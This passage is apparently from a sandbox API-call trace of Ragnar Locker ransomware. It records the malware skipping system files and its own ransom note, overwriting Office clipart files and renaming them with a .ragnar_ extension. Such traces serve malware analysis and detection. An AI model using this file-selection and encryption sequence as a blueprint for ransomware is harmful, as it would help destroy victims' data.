lpOverlapped=0x0) returned 1 [0091.940] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.940] GetProcessHeap () returned 0x580000 [0091.940] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.940] CloseHandle (hObject=0xf4) returned 1 [0091.940] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" [0091.940] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.ragnar_FD7BD9FC" [0091.940] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01785_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01785_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.941] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8632900, ftCreationTime.dwHighDateTime=0x1bd4b38, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb8632900, ftLastWriteTime.dwHighDateTime=0x1bd4b38, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01805_.WMF", cAlternateFileName="")) returned 1 [0091.941] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.941] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01805_.WMF" | out: lpString1="SO01805_.WMF") returned="SO01805_.WMF" [0091.941] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF") returned=".WMF" [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="autorun.inf") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="boot.ini") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="bootfont.bin") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="bootsect.bak") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="bootmgr") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="bootmgr.efi") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="desktop.ini") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="iconcache.db") returned 1 [0091.941] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="ntldr") returned 1 [0091.942] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="ntuser.dat") returned 1 [0091.942] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.942] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="ntuser.ini") returned 1 [0091.942] lstrcmpiW (lpString1="SO01805_.WMF", lpString2="thumbs.db") returned -1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.942] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.942] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf")) returned 0x20 [0091.942] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.942] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=4232) returned 1 [0091.942] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x107f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.942] GetProcessHeap () returned 0x580000 [0091.942] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.942] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.944] VirtualAlloc (lpAddress=0x0, dwSize=0x1088, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.945] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.945] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1088, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1088, lpOverlapped=0x0) returned 1 [0091.956] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.956] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1088, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.956] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1088, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1088, lpOverlapped=0x0) returned 1 [0091.957] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1088, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.957] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.957] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x1088, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.957] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.957] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.957] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.957] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.957] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.957] GetProcessHeap () returned 0x580000 [0091.957] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.957] CloseHandle (hObject=0xf4) returned 1 [0091.957] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" [0091.957] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.ragnar_FD7BD9FC" [0091.957] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01805_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01805_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.958] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32d8d00, ftCreationTime.dwHighDateTime=0x1bd4af8, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32d8d00, ftLastWriteTime.dwHighDateTime=0x1bd4af8, nFileSizeHigh=0x0, nFileSizeLow=0x578, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01905_.WMF", cAlternateFileName="")) returned 1 [0091.958] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.958] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01905_.WMF" | out: lpString1="SO01905_.WMF") returned="SO01905_.WMF" [0091.958] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF") returned=".WMF" [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="autorun.inf") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="boot.ini") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="bootfont.bin") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="bootsect.bak") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="bootmgr") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="bootmgr.efi") returned 1 [0091.958] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="desktop.ini") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="iconcache.db") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="ntldr") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="ntuser.dat") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="ntuser.ini") returned 1 [0091.959] lstrcmpiW (lpString1="SO01905_.WMF", lpString2="thumbs.db") returned -1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.959] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf")) returned 0x20 [0091.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.960] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1400) returned 1 [0091.960] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x56f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.960] GetProcessHeap () returned 0x580000 [0091.960] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.960] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.969] VirtualAlloc (lpAddress=0x0, dwSize=0x578, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.969] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x578, lpOverlapped=0x0) returned 1 [0091.969] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.969] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x578, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.969] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x578, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x578, lpOverlapped=0x0) returned 1 [0091.969] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x578, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.969] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.970] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x578, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.970] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.970] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.970] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.970] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.970] GetProcessHeap () returned 0x580000 [0091.970] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.970] CloseHandle (hObject=0xf4) returned 1 [0091.971] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" [0091.971] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.ragnar_FD7BD9FC" [0091.971] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01905_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01905_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0091.971] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d358650, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3086, dwReserved0=0x0, dwReserved1=0x0, cFileName="SO01954_.WMF", cAlternateFileName="")) returned 1 [0091.971] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0091.971] lstrcpyW (in: lpString1=0x1eb62e, lpString2="SO01954_.WMF" | out: lpString1="SO01954_.WMF") returned="SO01954_.WMF" [0091.971] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF") returned=".WMF" [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="autorun.inf") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="boot.ini") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="bootfont.bin") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="bootsect.bak") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="bootmgr") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="bootmgr.efi") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="bootmgfw.efi") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="desktop.ini") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="iconcache.db") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="ntldr") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="ntuser.dat") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="ntuser.dat.log") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="ntuser.ini") returned 1 [0091.972] lstrcmpiW (lpString1="SO01954_.WMF", lpString2="thumbs.db") returned -1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0091.972] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0091.972] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf")) returned 0x20 [0091.973] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so01954_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0091.973] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=12422) returned 1 [0091.973] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x307d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.973] GetProcessHeap () returned 0x580000 [0091.974] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0091.974] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0091.975] VirtualAlloc (lpAddress=0x0, dwSize=0x3086, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0091.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.975] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0091.975] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3086, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3086, lpOverlapped=0x0) returned 1 [0091.976] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0091.976] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3086, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.976] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3086, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3086, lpOverlapped=0x0) returned 1 [0091.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3086, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.977] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0091.977] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3086, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0091.977] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0091.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.977] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0091.977] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0091.977] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0091.977] GetProcessHeap () returned 0x580000 [0091.977] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0091.977] CloseHandle (hObject=0xf4) returned 1 [0091.977] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF" [0091.977] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO01954_.WMF", lpString2=".ragnar_FD7BD9FC" | out: 